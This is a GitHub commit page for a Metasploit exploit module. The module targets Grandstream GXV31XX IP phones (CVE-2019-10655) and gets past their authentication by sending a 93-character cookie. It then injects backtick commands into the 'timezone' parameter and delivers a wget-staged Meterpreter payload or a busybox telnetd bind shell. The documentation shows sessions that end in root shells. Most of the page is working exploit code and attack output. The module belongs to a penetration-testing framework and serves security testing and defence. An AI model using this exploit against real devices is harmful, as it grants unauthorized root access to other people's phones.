Skip to content

Commit bed067d

Browse files
space-r7space-r7
committed
Land #16125, add ARCH_CMD for GXV3140 support
2 parents 96c72b0 + feebf25 commit bed067d

File tree

3 files changed

+136
-84
lines changed

3 files changed

+136
-84
lines changed

‎documentation/modules/exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec.md‎

Lines changed: 0 additions & 53 deletions
This file was deleted.

‎documentation/modules/exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.md‎

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
## Vulnerable Application
2+
3+
This module exploits a command injection vulnerability in Grandstream GXV31XX
4+
IP multimedia phones. The 'settimezone' action does not validate input in the
5+
'timezone' parameter allowing injection of arbitrary commands.
6+
7+
A buffer overflow in the 'phonecookie' cookie parsing allows authentication
8+
to be bypassed by providing an alphanumeric cookie 93 characters in length.
9+
10+
This module was tested successfully on Grandstream models:
11+
12+
* GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and
13+
* GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.
14+
15+
## Verification Steps
16+
17+
1. `msfconsole`
18+
1. `use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec`
19+
1. `set rhosts [IP]`
20+
1. `set target [target]`
21+
1. `run`
22+
1. You should get a session
23+
24+
## Options
25+
26+
27+
## Scenarios
28+
29+
### Grandstream GXV3140
30+
31+
```
32+
msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
33+
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
34+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.111
35+
rhosts => 10.1.1.111
36+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run
37+
38+
[*] Started bind TCP handler against 10.1.1.111:4444
39+
[*] Command shell session 1 opened (10.1.1.112:36769 -> 10.1.1.111:4444 ) at 2022-01-29 02:30:13 -0500
40+
41+
42+
Shell Banner:
43+
_!_
44+
-----
45+
46+
47+
/ # uname -a
48+
uname -a
49+
Linux gxv3140_000b8229ac36 2.6.10_gxv31xx #15 Tue Jul 16 11:07:04 CDT 2013 armv5tejl unknown
50+
/ #
51+
52+
```
53+
54+
### Grandstream GXV3175v2
55+
56+
```
57+
msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
58+
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
59+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.109
60+
rhosts => 10.1.1.109
61+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set lhost 10.1.1.110
62+
lhost => 10.1.1.110
63+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set target 1
64+
target => 1
65+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run
66+
67+
[*] Started reverse TCP handler on 10.1.1.110:4444
68+
[*] Using URL: http://0.0.0.0:8080/JF62dexHKN8b
69+
[*] Local IP: http://10.1.1.110:8080/JF62dexHKN8b
70+
[*] Client 10.1.1.109 (Wget/1.10.1) requested /JF62dexHKN8b
71+
[*] Sending payload to 10.1.1.109 (Wget/1.10.1)
72+
[*] Command Stager progress - 100.00% done (115/115 bytes)
73+
[*] Meterpreter session 1 opened (10.1.1.110:4444 -> 10.1.1.109:39371 ) at 2022-01-08 13:27:44 -0500
74+
75+
meterpreter > getuid
76+
Server username: root
77+
meterpreter > sysinfo
78+
Computer : 10.1.1.109
79+
OS : (Linux 2.6.32_gxv3170v2)
80+
Architecture : armv7l
81+
BuildTuple : armv5l-linux-musleabi
82+
Meterpreter : armle/linux
83+
meterpreter >
84+
```

‎modules/exploits/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec.rb‎ renamed to ‎modules/exploits/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.rb‎

Lines changed: 52 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -8,32 +8,36 @@ class MetasploitModule < Msf::Exploit::Remote
88

99
include Msf::Exploit::Remote::HttpClient
1010
include Msf::Exploit::CmdStager
11+
include Msf::Exploit::Deprecated
12+
13+
moved_from 'exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec'
1114

1215
HttpFingerprint = { pattern: [ /Multimedia Phone/ ] }.freeze
1316

1417
def initialize(info = {})
1518
super(
1619
update_info(
1720
info,
18-
'Name' => "Grandstream GXV3175 'settimezone' Unauthenticated Command Execution",
21+
'Name' => "Grandstream GXV31XX 'settimezone' Unauthenticated Command Execution",
1922
'Description' => %q{
20-
This module exploits a command injection vulnerability in Grandstream GXV3175
23+
This module exploits a command injection vulnerability in Grandstream GXV31XX
2124
IP multimedia phones. The 'settimezone' action does not validate input in the
2225
'timezone' parameter allowing injection of arbitrary commands.
2326
2427
A buffer overflow in the 'phonecookie' cookie parsing allows authentication
2528
to be bypassed by providing an alphanumeric cookie 93 characters in length.
2629
27-
This module was tested successfully on Grandstream GXV3175v2
28-
hardware revision V2.6A with firmware version 1.0.1.19.
30+
This module was tested successfully on Grandstream models:
31+
GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and
32+
GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.
2933
},
3034
'Author' => [
3135
'alhazred', # Command injection vulnerability discovery and exploit
3236
'Brendan Scarvell', # Auth bypass discovery
3337
'bcoles' # Metasploit
3438
],
3539
'License' => MSF_LICENSE,
36-
'Platform' => 'linux',
40+
'Platform' => %w[unix linux],
3741
'References' => [
3842
[ 'CVE', '2019-10655' ],
3943
[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=23920' ],
@@ -46,30 +50,47 @@ def initialize(info = {})
4650
},
4751
'DisclosureDate' => '2016-09-01',
4852
'Privileged' => true,
49-
'Arch' => ARCH_ARMLE,
50-
'DefaultOptions' => {
51-
'PrependFork' => true,
52-
'MeterpreterTryToFork' => true,
53-
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
54-
'CMDSTAGER::FLAVOR' => 'wget'
55-
},
5653
'CmdStagerFlavor' => %w[wget],
5754
'Targets' => [
58-
['Automatic', {}]
55+
[
56+
'Linux (cmd)', {
57+
'Arch' => ARCH_CMD,
58+
'Platform' => 'unix',
59+
'DefaultOptions' => {
60+
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'
61+
}
62+
}
63+
],
64+
[
65+
'Linux (ARMLE)', {
66+
'Arch' => ARCH_ARMLE,
67+
'Platform' => 'linux',
68+
'DefaultOptions' => {
69+
'PrependFork' => true,
70+
'MeterpreterTryToFork' => true,
71+
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
72+
'CMDSTAGER::FLAVOR' => 'wget'
73+
}
74+
}
75+
],
5976
],
6077
'DefaultTarget' => 0
6178
)
6279
)
6380
end
6481

65-
def check
66-
res = send_request_cgi(
82+
def send_manager_request(vars_get)
83+
send_request_cgi(
6784
'uri' => '/manager',
6885
'cookie' => "phonecookie=\"#{rand_text_alpha(93)}\"",
69-
'vars_get' => {
70-
'action' => 'settimezone',
71-
'timezone' => ''
72-
}
86+
'vars_get' => vars_get
87+
)
88+
end
89+
90+
def check
91+
res = send_manager_request(
92+
'action' => 'settimezone',
93+
'timezone' => ''
7394
)
7495

7596
if res && res.code == 200 && res.body.to_s.include?('Response=Success')
@@ -79,14 +100,10 @@ def check
79100
CheckCode::Safe
80101
end
81102

82-
def execute_command(cmd, _opts)
83-
res = send_request_cgi(
84-
'uri' => '/manager',
85-
'cookie' => "phonecookie=\"#{rand_text_alpha(93)}\"",
86-
'vars_get' => {
87-
'action' => 'settimezone',
88-
'timezone' => "`#{cmd}`"
89-
}
103+
def execute_command(cmd, _opts = {})
104+
res = send_manager_request(
105+
'action' => 'settimezone',
106+
'timezone' => "`#{cmd}`"
90107
)
91108
unless res
92109
fail_with(Failure::Unreachable, 'Connection failed')
@@ -100,9 +117,13 @@ def execute_command(cmd, _opts)
100117
end
101118

102119
def exploit
103-
execute_cmdstager(
104-
linemax: 220, # 255 minus URL encoding
105-
background: true
106-
)
120+
if target.arch.first == ARCH_CMD
121+
execute_command(payload.encoded)
122+
else
123+
execute_cmdstager(
124+
linemax: 220, # 255 minus URL encoding
125+
background: true
126+
)
127+
end
107128
end
108129
end

0 commit comments

Comments
 (0)